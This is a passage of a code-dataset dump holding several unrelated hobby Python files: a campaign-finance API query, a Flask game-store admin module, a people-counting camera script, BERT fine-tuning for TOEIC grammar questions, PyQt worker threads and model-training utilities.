console.\n\"\"\"\n","repo_name":"irsbugs/kiwipycon2017","sub_path":"client_demo_2.py","file_name":"client_demo_2.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"19616756611","text":"# from api, using Python Requests\nimport requests\nimport json\n\n#url = \"https://data.hawaii.gov/resource/u76e-fv4g.json\"\n#url = \"https://data.hawaii.gov/resource/u76e-fv4g.json?candidate_name=Bean, Tracy\"\n#url = \"https://data.hawaii.gov/resource/u76e-fv4g.json?noncandidate_committee_name=ActBlue Hawaii\"\n\n# lists candidate name and amount for all contributions > $5000 made by ActBlue Hawaii after 1/1/2014\n#url = \"https://data.hawaii.gov/resource/u76e-fv4g.json?$query=SELECT noncandidate_committee_name, candidate_name, amount WHERE amount > 5000 AND noncandidate_committee_name = 'ActBlue Hawaii' AND date > '2014-01-01T12:01:00'\"\n\n# 2016 contributors (individual contributions over $3000) in descending order.\nurl = \"https://data.hawaii.gov/resource/u76e-fv4g.json?$query=SELECT noncandidate_committee_name, amount WHERE amount > 3000 AND date > '2016-01-01T12:01:00' ORDER BY amount DESC\"\ntestUrl = \"https://data.hawaii.gov/resource/u76e-fv4g.json?$select=noncandidate_committee_name,SUM(amount)&$group=noncandidate_committee_name&$where=candidate_name='Ige, David' AND date > '2016-01-01T12:01:00'\"\n\ndef urlConcat(input):\n    url = \"https://data.hawaii.gov/resource/u76e-fv4g.json?$query=SELECT candidate_name, noncandidate_committee_name, amount WHERE amount > 500 AND date > '2016-01-01T12:01:00' AND candidate_name = '\"+ input + \"' ORDER BY amount DESC\"\n    print(\"new url for \", input, \": \", url)\n    return url\n\nconUrl = urlConcat('Ige, David')\n\nresponse = requests.get(testUrl) #change back to \"url\" for normal query\nif response.status_code == 200:\n    data = response.json()\n\n# list on contributors, filled below\ncontrib_list = list()\n\n# print records as strings\nfor d in data:\n    json_string = json.dumps(d)\n    parsed_json = json.loads(json_string)\n    #print (\"JSON string\", json_string)\n    com_name = parsed_json['noncandidate_committee_name']\n\n    # adds contributor's name to list if not already in it\n    for i in data:       \n        if com_name not in contrib_list:\n            contrib_list.append(com_name)    \n\n# print records as list\nfor n, loop in enumerate(data):\n    print (\"Record \", n)\n    print (data[n], '\\n')\n\n# prints list of contributors\nfor name in contrib_list:\n    print(name)\n\n\n\n\n    \n","repo_name":"cdelp/electionSite","sub_path":"sodapyTest.py","file_name":"sodapyTest.py","file_ext":"py","file_size_in_byte":2226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"13588794877","text":"import json\nimport atexit\nimport datetime\n\n\nfrom flask_login import login_required, current_user\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom flask import Blueprint, redirect, request, flash, url_for, render_template, g\n\nfrom app import db\nfrom .models import Customers, Games, GameImages, Roles, Comments\nfrom .common_functions import convert_image_from_binary_to_unicode, admin_permission, return_genres, add_to_db\n\n\nadmin_sites = Blueprint(\"admin\", __name__)\n\n\n@admin_sites.route('/add-game', methods=[\"GET\", \"POST\"])\n@login_required\ndef add_new_game():\n    g.photo = convert_image_from_binary_to_unicode(Customers.query.get(current_user.get_id()).customer_photo)\n    if admin_permission() == 2:\n        return redirect('/')\n    if request.method == 'POST':\n        game_name = request.form.get('new_game_name')\n        try:\n            if float(request.form.get('new_game_price')):\n                if float(request.form.get('new_game_price')) < 1000:\n                    game_price = float(request.form.get('new_game_price'))\n                else:\n                    game_price = 999.99\n        except ValueError:\n            flash('Game price must be numeric!')\n            return redirect('')\n        game_genre = request.form.getlist('new_game_genre')\n        game_description = request.form.get('new_game_description')\n        game_image = request.files['new_game_ico'].read()\n        new_game = Games(game_name=game_name,\n                                game_description=game_description,\n                                price=game_price)\n        for genre in return_genres():\n            if genre.game_type_name in game_genre:\n                new_game.genres.append(genre)\n        add_to_db(new_game)\n        if not game_image:\n            with open('app/static/images/mark_edited2.png', 'rb') as default_photo:\n                game_image = default_photo.read()\n        new_game_image = GameImages(game_id=new_game.game_id, game_photo=game_image)\n        add_to_db(new_game_image)\n        return redirect(url_for('customer_sites.display_all_games'))\n    return render_template('add_game.html', user_photo=g.photo, genres=return_genres())\n\n\n@admin_sites.route('/<int:game_id>/edit', methods=[\"GET\", \"POST\"])\ndef edit_game(game_id: int):\n    g.photo = convert_image_from_binary_to_unicode(Customers.query.get(current_user.get_id()).customer_photo)\n    if admin_permission() == 2:\n        return redirect(f'/{game_id}')\n    else:\n        game = Games.query.get(game_id)\n        game_image = GameImages.query.filter_by(game_id=game_id).first()\n        if request.method == \"POST\":\n            game.game_name = request.form.get('new_game_name')\n            try:\n                if float(request.form.get('new_game_price')):\n                    if float(request.form.get('new_game_price')) < 1000:\n                        game.price = float(request.form.get('new_game_price'))\n                    else:\n                        game.price = 999.99\n            except ValueError:\n                flash('Game price must be numeric!')\n                return redirect('')\n            game_genres = request.form.getlist('new_game_genre')\n            game.game_description = request.form.get('new_game_description')\n            game_new_image = request.files['new_game_ico'].read()\n            if game_genres:\n                game.genres.clear()\n                for genre in return_genres():\n                    if genre.game_type_name in game_genres:\n                        game.genres.append(genre)\n            if game_new_image:\n                game_image.game_photo = game_new_image\n            db.session.commit()\n            return redirect(\"/add-game\")\n        return render_template('add_game.html',\n                               game=game,\n                               game_image=game_image,\n                               user_photo=g.photo,\n                               cart_item_count=g.cart,\n                               genres=return_genres())\n\n\n@admin_sites.route('/hide_game', methods=[\"POST\"])\n@login_required\ndef hide_game():\n    game_id = request.json\n    game = Games.query.get(game_id)\n    if game.is_active:\n        game.is_active = False\n        game.hidden_timestamp = datetime.datetime.now()\n    else:\n        game.is_active = True\n        game.hidden_timestamp = None\n    db.session.commit()\n    return 'Ok'\n\n\n@admin_sites.route('/change_role', methods=[\"POST\"])\n@login_required\ndef ajax_change_role():\n    role_id = request.json.get('roleId')\n    customer_id = request.json.get('customerId')\n    if admin_permission() == 1:\n        user = Customers.query.get(customer_id)\n        role_name = Roles.query.get(role_id).name\n        user.role_id = role_id\n        db.session.commit()\n        return json.dumps(role_name)\n\n\n@admin_sites.route('/all_customers')\n@login_required\ndef display_customers():\n    g.photo = convert_image_from_binary_to_unicode(current_user.customer_photo)\n    if admin_permission() == 1:\n        customers = Customers.query.order_by(Customers.customer_id).all()\n        roles = Roles.query.all()\n        return render_template('users_list.html', customers=customers, roles=roles, cart_item_count=g.cart, user_photo=g.photo)\n    return redirect('/')\n\n\n@admin_sites.route('/edit_games_quantity')\n@login_required\ndef edit_games_quantity():\n    g.photo = convert_image_from_binary_to_unicode(current_user.customer_photo)\n    if admin_permission() == 1:\n        games = Games.query.order_by(Games.game_id).all()\n        return render_template('games_list.html', games=games, cart_item_count=g.cart, user_photo=g.photo)\n    return redirect('/')\n\n\n@admin_sites.route('/ajax_edit_quantity', methods=[\"POST\"])\ndef ajax_edit_quantity():\n    game_id = request.json.get('gameId')\n    new_quantity = request.json.get('newQuantity')\n    if admin_permission() == 1:\n        try:\n            if int(new_quantity):\n                game = Games.query.get(game_id)\n                game.quantity_available = new_quantity\n                db.session.commit()\n                return str(game.quantity_available)\n        except ValueError:\n            return redirect(url_for('admin.edit_games_quantity'))\n\n\ndef check_hidden_games():\n    for game in Games.query.all():\n        if game.hidden_timestamp is not None \\\n                and (datetime.datetime.utcnow()-game.hidden_timestamp) > datetime.timedelta(days=90):\n            for comment in Comments.query.filter_by(game_id=game.game_id).all():\n                db.session.delete(comment)\n            db.session.commit()\n            db.session.delete(GameImages.query.filter_by(game_id=game.game_id).first())\n            db.session.delete(game)\n            db.session.commit()\n\n\ndef check_hidden_comments():\n    for comment in Comments.query.all():\n        if comment.hidden is not None and ((datetime.datetime.utcnow()-comment.hidden) > datetime.timedelta(minutes=5)):\n            db.session.delete(comment)\n            db.session.commit()\n\n\ndelete_hidden_games = BackgroundScheduler(daemon=True)\ndelete_hidden_comments = BackgroundScheduler(daemon=True)\ndelete_hidden_games.add_job(check_hidden_games, 'interval', minutes=60*24*7)\ndelete_hidden_comments.add_job(check_hidden_comments, 'interval', minutes=1)\ndelete_hidden_games.start()\ndelete_hidden_comments.start()\natexit.register(lambda: delete_hidden_games.shutdown())\natexit.register(lambda: delete_hidden_comments.shutdown())\n","repo_name":"bohdanrom/Game-Store","sub_path":"app/admin_sites.py","file_name":"admin_sites.py","file_ext":"py","file_size_in_byte":7394,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"26623789748","text":"# import torch.nn as nn\nimport torch.optim as optim\nfrom .Ranger_Deep_Learning_Optimizer.ranger.ranger2020 import Ranger\n\n\n# def set_an_optim(models, optim_str, lr):\ndef set(models, optim_str, lr):    \n    \"\"\"Sets an optimizer to models\"\"\"\n    if not isinstance(models, list):\n        models = [models]\n    learnable_params = []\n    for m in models:\n        learnable_params += list(m.parameters())\n    # optim = mngs.ml.switch_optim(optim_str)\n    optim = get(optim_str)    \n    return optim(learnable_params, lr)\n\ndef get(optim_str):\n    optims_dict = {\n        \"adam\": optim.Adam,\n        \"ranger\": Ranger,\n        \"rmsprop\": optim.RMSprop,\n        \"sgd\": optim.SGD\n        }\n    return optims_dict[optim_str]\n","repo_name":"yanagisawa-lab/eeg-dementia-classification","sub_path":"externals/mngs/src/mngs/ml/optim/_get_set.py","file_name":"_get_set.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"35297670375","text":"import numpy as np\nimport argparse\nimport time\nimport cv2\nimport People3\nimport math\nimport urllib\ncnt_up=0\ncnt_down=0\npos = 0\n# construct the argument parse and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-p\", \"--prototxt\", required=True,\n\thelp=\"path to Caffe 'deploy' prototxt file\")\nap.add_argument(\"-m\", \"--model\", required=True,\n\thelp=\"path to Caffe pre-trained model\")\nap.add_argument(\"-c\", \"--confidence\", type=float, default=0.2,\n\thelp=\"minimum probability to filter weak detections\")\nargs = vars(ap.parse_args())\n# initialize the list of class labels MobileNet SSD was trained to\n# detect, then generate a set of bounding box colors for each class\nCLASSES = [\"background\", \"aeroplane\", \"bicycle\", \"bird\", \"boat\",\n\t\"bottle\", \"bus\", \"car\", \"cat\", \"chair\", \"cow\", \"diningtable\",\n\t\"dog\", \"horse\", \"motorbike\", \"person\", \"pottedplant\", \"sheep\",\n\t\"sofa\", \"train\", \"tvmonitor\"]\nCOLORS = np.random.uniform(0, 255, size=(len(CLASSES), 3))\n# load our serialized model from disk\nprint(\"[INFO] loading model...\")\nnet = cv2.dnn.readNetFromCaffe(args[\"prototxt\"], args[\"model\"])\n \n# initialize the video stream, allow the cammera sensor to warmup,\n# and initialize the FPS counter\nprint(\"[INFO] starting video stream...\")\n#vs = cv2.VideoCapture('rtsp://user:user1234@192.168.254.9:554/Streaming/channels/1' )\n\nvs = cv2.VideoCapture('http://user:user1234@192.168.254.7:80/Streaming/channels/1/picture' )\n#vs= cv2.VideoCapture(0)\nw = vs.get(3)\nh = vs.get(4)\nframeArea = h*w\nareaTH = frameArea/250\nline_up = int(2*(w/5))\nline_down   = int(3*(w/5))\nup_limit =   int(1*(w/5))\ndown_limit = int(4*(w/5))\nline_down_color = (255,0,0)\nline_up_color = (0,0,255)\npt1 =  [line_down,0];\npt2 =  [line_down,h];\npts_L1 = np.array([pt1,pt2], np.int32)\npts_L1 = pts_L1.reshape((-1,1,2))\npt3 =  [line_up,0];\npt4 =  [line_up,h];\npts_L2 = np.array([pt3,pt4], np.int32)\npts_L2 = pts_L2.reshape((-1,1,2))\n\npt5 =  [up_limit,0];\npt6 =  [up_limit,h];\npts_L3 = np.array([pt5,pt6], np.int32)\npts_L3 = pts_L3.reshape((-1,1,2))\npt7 =  [down_limit,0];\npt8 =  [down_limit,h];\npts_L4 = np.array([pt7,pt8], np.int32)\npts_L4 = pts_L4.reshape((-1,1,2))\npersons = []\npersonSize=6000\nmax_p_age = 5\npid = 1\nfont=cv2.FONT_HERSHEY_SIMPLEX\n# loop over the frames from the video stream\n#stream =urllib.urlopen(\"http://http://192.168.254.9:8000/*.mpj\")\n#bytes=''\nwhile True:\n\tvs = cv2.VideoCapture('http://user:user1234@192.168.254.6:80/Streaming/channels/1/picture' )\n       \t# grab the frame from the threaded video stream and resize it\n\t# to have a maximum width of 400 pixels\n\t_,frame = vs.read()\n\t#frame = imutils.resize(frame, width=400)\n \n\t# grab the frame dimensions and convert it to a blob\n\t(h, w) = frame.shape[:2]\n\tblob = cv2.dnn.blobFromImage(cv2.resize(frame, (224, 224)),\n\t\t0.009843, (224, 224), 127.5)\n \n\t# pass the blob through the network and obtain the detections and\n\t# predictions\n\tnet.setInput(blob)\n\tdetections = net.forward()\n# loop over the detections\n\tfor i in np.arange(0, detections.shape[2]):\n\t\t# extract the confidence (i.e., probability) associated with\n\t\t# the prediction\n\t\tconfidence = detections[0, 0, i, 2]\n \n\t\t# filter out weak detections by ensuring the `confidence` is\n\t\t# greater than the minimum confidence\n\t\tif confidence > args[\"confidence\"]:\n\t\t\t# extract the index of the class label from the\n\t\t\t# `detections`, then compute the (x, y)-coordinates of\n\t\t\t# the bounding box for the object\n\t\t\tidx = int(detections[0, 0, i, 1])\n\t\t\tbox = detections[0, 0, i, 3:7] * np.array([w, h, w, h])\n\t\t\t(startX, startY, endX, endY) = box.astype(\"int\")\n \n\t\t\t# draw the prediction on the frame\n\t\t\tlabel = \"{}: {:.2f}%\".format(CLASSES[idx],confidence * 100)\n\t\t\tif idx==15:\n\t\t\t\tcv2.rectangle(frame, (startX, startY), (endX, endY),COLORS[idx], 2)\n\t\t\t\ty = startY - 15 if startY - 15 > 15 else startY + 15\n\t\t\t\tcv2.putText(frame, label, (startX, y),cv2.FONT_HERSHEY_SIMPLEX, 0.5, COLORS[idx], 2)\n\t\t\t\tcy=startY+(int(abs((startY - endY)/2)))\n\t\t\t\tcx=startX+(int(abs((endX - startX)/2)))\n\t\t\t\t#cv2.circle(frame,(startX,startY),5,(0,0,255),-1)\n\t\t\t\t#cv2.circle(frame,(endX,endY),5,(0,255,0),-1)\n\t\t\t\tcv2.circle(frame,(cx,cy),5,(0,0,255),-1)\n\t\t\t\tnew = True\n\t\t\t\tinActiveZone= cx in range(up_limit,down_limit)\n\t\t\t\tfor index, p in enumerate(persons):\n\t\t\t\t\tdist = math.sqrt((cx - p.getX())**2 + (cy - p.getY())**2)\n\t\t\t\t\tif dist <= w/2 and dist <= h/2:\n\t\t\t\t\t\tif inActiveZone:\n\t\t\t\t\t\t\tnew = False\n\t\t\t\t\t\t\tif p.getX() < line_up and  cx >= up_limit:\n\t\t\t\t\t\t\t\tprint(\"[INFO] person going left \" + str(p.getId()))\n\t\t\t\t\t\t\t\tpos=1\n\t\t\t\t\t\t\tif p.getX() > line_down and  cx <= down_limit:\n\t\t\t\t\t\t\t\tprint(\"[INFO] person going right \" + str(p.getId()))\n\t\t\t\t\t\t\t\tpos=2\n\t\t\t\t\t\t\tif p.getlast() > 0:\n\t\t\t\t\t\t\t\tif p.getlast()> pos:\n\t\t\t\t\t\t\t\t\tcnt_down+=1\n\t\t\t\t\t\t\t\t\tprint(\"[INFO] person going out \" + str(p.getId()))\n\t\t\t\t\t\t\t\telif p.getlast()< pos:\n\t\t\t\t\t\t\t\t\tcnt_up+=1\n\t\t\t\t\t\t\t\t\tprint(\"[INFO] person going in \" + str(p.getId()))\n\t\t\t\t\t\t\tp.updateCoords(cx,cy,pos)\n\t\t\t\t\t\t\t#print(\"[INFO] person deatil updated\" + str(p.getId()))\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tprint(\"[INFO] person removed \" + str(p.getId()))\n\t\t\t\t\t\t\tpersons.pop(index)\n\t\t\t\tif new == True and inActiveZone:\n\t\t\t\t\tprint(\"[INFO] new person \" + str(pid))\n\t\t\t\t\tp = People3.Person(pid, cx, cy)\n\t\t\t\t\tpersons.append(p)\n\t\t\t\t\tpid += 1\n# show the output frame\n\tstr_up = 'IN: '+ str(cnt_up)\n\tstr_down = 'OUT: '+ str(cnt_down)\n\tframe = cv2.polylines(frame,[pts_L1],False,line_down_color,thickness=2)\n\tframe = cv2.polylines(frame,[pts_L2],False,line_up_color,thickness=2)\n\tframe = cv2.polylines(frame,[pts_L3],False,(255,255,255),thickness=1)\n\tframe = cv2.polylines(frame,[pts_L4],False,(255,255,255),thickness=1)\n\tcv2.putText(frame, str_up ,(10,40),font,0.5,(255,255,255),2,cv2.LINE_AA)\n\tcv2.putText(frame, str_up ,(10,40),font,0.5,(0,0,255),1,cv2.LINE_AA)\n\tcv2.putText(frame, str_down ,(10,90),font,0.5,(255,255,255),2,cv2.LINE_AA)\n\tcv2.putText(frame, str_down ,(10,90),font,0.5,(255,0,0),1,cv2.LINE_AA)\n\tcv2.imshow(\"Frame\", frame)\n\tkey = cv2.waitKey(1) & 0xFF\n \n\t# if the `q` key was pressed, break from the loop\n\tif key == ord(\"q\"):\n\t\tbreak\n\ncv2.destroyAllWindows()\nvs.stop()\n","repo_name":"ragilct/peopledetection","sub_path":"real_time_object_detection1.py","file_name":"real_time_object_detection1.py","file_ext":"py","file_size_in_byte":6072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31007440482","text":"\nimport mutator\nimport scoring\nimport crossing\nimport stepping\nimport creation\nimport selection\nimport reproduction\n\nfrom unit import Unit\nfrom case import Case\n\n\n\ndef test_mutator_functions():\n    unit = Unit('+-><--[-<')\n    for func in mutator.default_functions():\n        assert func(unit) is None\n\n\ndef test_scoring_functions():\n    unit = Unit('+-><--[-<')\n    test = 'input', 'output'\n    for func in scoring.default_functions():\n        assert isinstance(func(unit, test), scoring.RunResult)\n\n\ndef test_crossing_functions():\n    parents = Unit('+'*80), Unit('-'*80)\n    for func in crossing.default_functions():\n        print(func)\n        assert func(parents)\n\n\ndef test_creation_functions():\n    for func in creation.default_functions():\n        func(10)\n\n\ndef test_selection_functions():\n    scored_pop = {Unit('>>>>>+'): scoring.RunResult(10, 'a', 'b'), Unit('++++'): scoring.RunResult(-82, 'a', 'b')}\n    for func in selection.default_functions():\n        func(scored_pop)\n\n\ndef test_reproduction_functions():\n    scored_parent = {Unit('>>>>>+'): scoring.RunResult(10, 'a', 'b'), Unit('++++'): scoring.RunResult(-82, 'a', 'b')}\n    crossing_func = next(iter(crossing.default_functions()))\n    for func in reproduction.default_functions():\n        func(scored_parent, 2, crossing_func)\n\n\ndef test_stepping_functions():\n    pop = [Unit('>>>>>+'), Unit('>>>>>+'), Unit('>>>>>+'), Unit('++++')]\n    functions = (next(iter(mod.default_functions())) for mod in (scoring, selection, reproduction, crossing, mutator))\n    for func in stepping.default_functions():\n        func(pop, Case('a', 'b'), len(pop), *functions)\n","repo_name":"Aluriak/bfia","sub_path":"test_functions.py","file_name":"test_functions.py","file_ext":"py","file_size_in_byte":1625,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"11358402810","text":"import json\nimport copy\nimport re\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom transformers import BertModel, BertTokenizer, BertForMaskedLM, AdamW, BertConfig, BertForSequenceClassification\nfrom transformers import get_linear_schedule_with_warmup\nimport random\nfrom sklearn.model_selection import train_test_split\nimport pickle\nfrom pytorchtools import EarlyStopping\n\n\nif __name__ == \"__main__\":\n    print(\"=================================Loading training datasets====================================\")\n    with open('Part5_training.txt', 'rb') as f:\n        dataset = pickle.load(f)\n\n    tokenizer = BertTokenizer.from_pretrained('bert-base-uncased')\n\n    training, val = train_test_split(dataset, test_size=0.1, random_state=2)\n\n    toeic_training = []\n    max_len = 64\n    for pset in training:\n        q = pset['question'].strip().lower()\n        ans = pset['answer'].strip().lower()\n        for j in range(1, 5):\n            if pset[str(j)].strip().lower() == ans:\n                label = 1\n            else:\n                label = 0\n            sentence = re.sub('_', ' ' + pset[str(j)] + ' ', q).lower()\n\n            input_ids = tokenizer.encode(sentence, add_special_tokens=True)\n            attn_mask = [1] * len(input_ids) + [0] * (max_len - len(input_ids))\n            input_ids = input_ids + [0] * (max_len - len(input_ids))\n            segment_ids = [0] * max_len\n            if label == 1:\n                for _ in range(3):\n                    toeic_training.append([input_ids, segment_ids, attn_mask, label])\n            else:\n                toeic_training.append([input_ids, segment_ids, attn_mask, label])\n    random.shuffle(toeic_training)\n\n\n    toeic_val = []\n    max_len = 64\n    for pset in val:\n        q = pset['question'].strip().lower()\n        ans = pset['answer'].strip().lower()\n        for j in range(1, 5):\n            if pset[str(j)].strip().lower() == ans:\n                label = 1\n            else:\n                label = 0\n            sentence = re.sub('_', ' ' + pset[str(j)] + ' ', q).lower()\n            input_ids = tokenizer.encode(sentence, add_special_tokens=True)\n            attn_mask = [1] * len(input_ids) + [0] * (max_len - len(input_ids))\n            input_ids = input_ids + [0] * (max_len - len(input_ids))\n            segment_ids = [0] * max_len\n            toeic_val.append([input_ids, segment_ids, attn_mask, label])\n    random.shuffle(toeic_val)\n\n    input_ids, segment_ids, attn_mask, label = zip(*toeic_training)\n    input_ids = torch.LongTensor(input_ids)\n    segment_ids = torch.LongTensor(segment_ids)\n    label = torch.LongTensor(label)\n    attn_mask = torch.LongTensor(attn_mask)\n    input_ids_loader = torch.utils.data.DataLoader(input_ids, batch_size=16)\n    segment_ids_loader = torch.utils.data.DataLoader(segment_ids, batch_size=16)\n    label_loader = torch.utils.data.DataLoader(label, batch_size=16)\n    attn_mask_loader = torch.utils.data.DataLoader(attn_mask, batch_size=16)\n\n    # validation\n    input_ids_val, segment_ids_val, attn_mask_val, label_val = zip(*toeic_val)\n    input_ids_val = torch.LongTensor(input_ids_val)\n    segment_ids_val = torch.LongTensor(segment_ids_val)\n    label_val = torch.LongTensor(label_val)\n    attn_mask_val = torch.LongTensor(attn_mask_val)\n    input_ids_loader_val = torch.utils.data.DataLoader(input_ids_val, batch_size=16)\n    segment_ids_loader_val = torch.utils.data.DataLoader(segment_ids_val, batch_size=16)\n    label_loader_val = torch.utils.data.DataLoader(label_val, batch_size=16)\n    attn_mask_loader_val = torch.utils.data.DataLoader(attn_mask_val, batch_size=16)\n\n    print('batch size : 16, num of batch_train : {}, num of batch_validation : {}'.format(len(input_ids_loader),\n                                                                                          len(input_ids_loader_val)))\n\n\n\n    epochs = 4\n    # number of batches * epochs = total number of training step\n    total_steps = len(input_ids_loader) * epochs\n    bert_grammer = BertForSequenceClassification.from_pretrained('bert-base-uncased')\n    bert_grammer.cuda()\n    optimizer = AdamW(bert_grammer.parameters(), lr=1e-5, eps=1e-8)\n\n    # create the learning rate scheduler\n    scheduler = get_linear_schedule_with_warmup(optimizer,\n                                                num_warmup_steps=0,\n                                                num_training_steps=total_steps)\n\n\n    seed_val = 42\n    random.seed(seed_val)\n    np.random.seed(seed_val)\n    torch.manual_seed(seed_val)\n    torch.cuda.manual_seed_all(seed_val)\n    loss_train = []\n    loss_val = []\n    early_stopping = EarlyStopping(verbose=True)\n\n    for epoch in range(0, epochs):\n\n        # train\n        print(\"\")\n        print('======== Epoch {:} / {:} ========'.format(epoch + 1, epochs))\n        print('Training...')\n        train_loss = 0\n        val_loss = 0\n        bert_grammer.train()\n        step = 0\n        for input_ids, segment_ids, label, attn_mask in zip(input_ids_loader, segment_ids_loader, label_loader,\n                                                            attn_mask_loader):\n\n            if step % 200 == 0 and not step == 0:\n                print('  Batch {:>5,}  of  {:>5,}.'.format(step, len(input_ids_loader)))\n            step += 1\n            input_ids = input_ids.to('cuda')\n            segment_ids = segment_ids.to('cuda')\n            label = label.to('cuda')\n            attn_mask = attn_mask.to('cuda')\n            bert_grammer.zero_grad()\n            outputs = bert_grammer(input_ids=input_ids, token_type_ids=segment_ids, labels=label,\n                                 attention_mask=attn_mask)\n            clf_loss = outputs[0]\n            train_loss += clf_loss.item()\n            clf_loss.backward()\n\n            # This is to help prevent the \"exploding gradients\" problem.\n            torch.nn.utils.clip_grad_norm_(bert_grammer.parameters(), 1.0)\n            optimizer.step()\n            # Update the learning rate.\n            scheduler.step()\n\n        avg_train_loss = train_loss / len(input_ids_loader)\n        loss_train.append(avg_train_loss)\n        print(\"\")\n        print(\"  Average training loss: {0:.2f}\".format(avg_train_loss))\n\n        # validation\n        print(\"\")\n        print('Running Validaiton...')\n        bert_grammer.eval()\n\n        for input_ids_val, segment_ids_val, label_val, attn_mask_val in zip(input_ids_loader_val,\n                                                                            segment_ids_loader_val, label_loader_val,\n                                                                            attn_mask_loader_val):\n            input_ids_val = input_ids_val.to('cuda')\n            segment_ids_val = segment_ids_val.to('cuda')\n            label_val = label_val.to('cuda')\n            attn_mask_val = attn_mask_val.to('cuda')\n\n            with torch.no_grad():\n                outputs = bert_grammer(input_ids=input_ids_val, token_type_ids=segment_ids_val, labels=label_val,\n                                     attention_mask=attn_mask_val)\n            clf_loss_val = outputs[0]\n            val_loss += clf_loss_val.item()\n        avg_val_loss = val_loss / len(input_ids_loader_val)\n        loss_val.append(avg_val_loss)\n\n        early_stopping(avg_val_loss, bert_grammer)\n        print(\"Average validation loss: {0:.2f}\".format(avg_val_loss))\n\n        if early_stopping.early_stop:\n            print(\"Early stopping executed\")\n            break\n\n        bert_grammer.load_state_dict(torch.load('checkpoint.pt'))\n\n    print(\"Finetuning Bert for grammer is finished!\")","repo_name":"wonwooo/ModelForToeic","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"60"}
+{"seq_id":"19119964641","text":"from PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtCore import *\n\nimport time\n\n'''\nThread IO\nfor passing the data between different worker thread\n'''\nclass CursorSignals(QObject):\n    press = pyqtSignal()\n    release = pyqtSignal()\n\nclass WorkerSignals(QObject):\n    '''\n    Defines the signals available from a running worker thread.\n    \n    Supported signals are:\n\n    finished\n        No data\n\n    error\n        'tuple'\n\n    result\n        'object'\n    '''\n    started = pyqtSignal()\n    finished = pyqtSignal()\n    error = pyqtSignal(tuple)\n    result = pyqtSignal(object)\n\n\nclass Worker(QRunnable):\n    '''\n    Worker thread\n\n    :param args: Arguments to make avaiable to the run code\n    :param kwargs: Keywords arguments to make available to the run code\n\n    possible to pass the function objection to the Worker class\n\n    '''\n\n    def __init__(self, fn, *args, **kwargs):\n        super(Worker, self).__init__()\n        self.fn = fn\n        self.args = args\n        self.kwargs = kwargs\n        self.signals = WorkerSignals()\n        \n    @pyqtSlot()\n    def run(self):\n        '''\n        Your code goes in this function\n        '''\n        self.signals.started.emit()\n\n        # Retrieve args/kwargs here; and fire processing using them\n        try:\n            result = self.fn(*self.args, **self.kwargs)\n        except:\n            traceback.print_exc()\n            exctype, value = sys.exc_info()[:2]\n            self.signals.error.emit((exctype, value, traceback.format_exc()))\n        else:\n            self.signals.result.emit(result)\n        finally:\n            self.signals.finished.emit()\n","repo_name":"jasonjin34/lfb-slide-image-gui","sub_path":"WorkerSignal.py","file_name":"WorkerSignal.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"40329455254","text":"import os\nimport tensorflow as tf\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import ModelCheckpoint, CSVLogger\n\nfrom models import SOD, U2Net\nfrom losses import CascadeBCE\nfrom metrics import FScore, IOUScore, IOUScore2, MAE, BinaryAccuracy\nfrom callbacks import LossHistory, VisualizerPerEpoch\nfrom data_utils.data_flow import get_train_test_data\nfrom utils.train_processing import create_folder_weights, train_prepare\nfrom configs import general_config as cfg\n\n\ndef train(data_path                   = cfg.DATA_PATH,\n          data_anno_path              = cfg.DATA_ANNOTATION_PATH,\n          data_dst_path               = cfg.DATA_DESTINATION_PATH,\n          data_normalizer             = cfg.DATA_NORMALIZER,\n          data_augmentation           = cfg.DATA_AUGMENTATION,\n          check_data                  = cfg.CHECK_DATA,\n          input_shape                 = cfg.TARGET_SIZE,\n          load_memory                 = cfg.DATA_LOAD_MEMORY,\n          batch_size                  = cfg.TRAIN_BATCH_SIZE,\n          init_epoch                  = cfg.TRAIN_EPOCH_INIT,\n          end_epoch                   = cfg.TRAIN_EPOCH_END,\n          weight_type                 = cfg.TRAIN_WEIGHT_TYPE,\n          weight_objects              = cfg.TRAIN_WEIGHT_OBJECTS,\n          saved_path                  = cfg.TRAIN_SAVED_PATH,\n          saved_weight_frequency      = cfg.TRAIN_SAVE_WEIGHT_FREQUENCY,\n          show_frequency              = cfg.TRAIN_RESULT_SHOW_FREQUENCY,\n          training_mode               = cfg.TRAIN_MODE):\n\n    if train_prepare(training_mode):\n        TRAINING_TIME_PATH = create_folder_weights(saved_path)\n\n        train_generator, val_generator = get_train_test_data(data_path, \n                                                             data_dst_path, \n                                                             data_anno_path,\n                                                             target_size=input_shape,\n                                                             batch_size=batch_size,\n                                                             augmentor=data_augmentation, \n                                                             normalizer=data_normalizer,\n                                                             check_data=check_data,\n                                                             load_memory=load_memory)\n        num_classes = 1\n        architecture = U2Net(filters=[16, 32, 64, 128, 256, 512], classes=num_classes)\n        model = SOD(architecture=architecture, image_size=input_shape)\n\n        if weight_type and weight_objects:\n            if weight_type == \"weights\":\n                model.load_weights(weight_objects)\n            elif weight_type == \"models\":\n                model.load_models(weight_objects)\n\n        checkpoint = ModelCheckpoint(TRAINING_TIME_PATH + 'checkpoint_{epoch:04d}/saved_sod_weights', \n                                     monitor='val_f_score',\n                                     verbose=1, \n                                     save_weights_only=True,\n                                     save_freq=\"epoch\")\n        history = 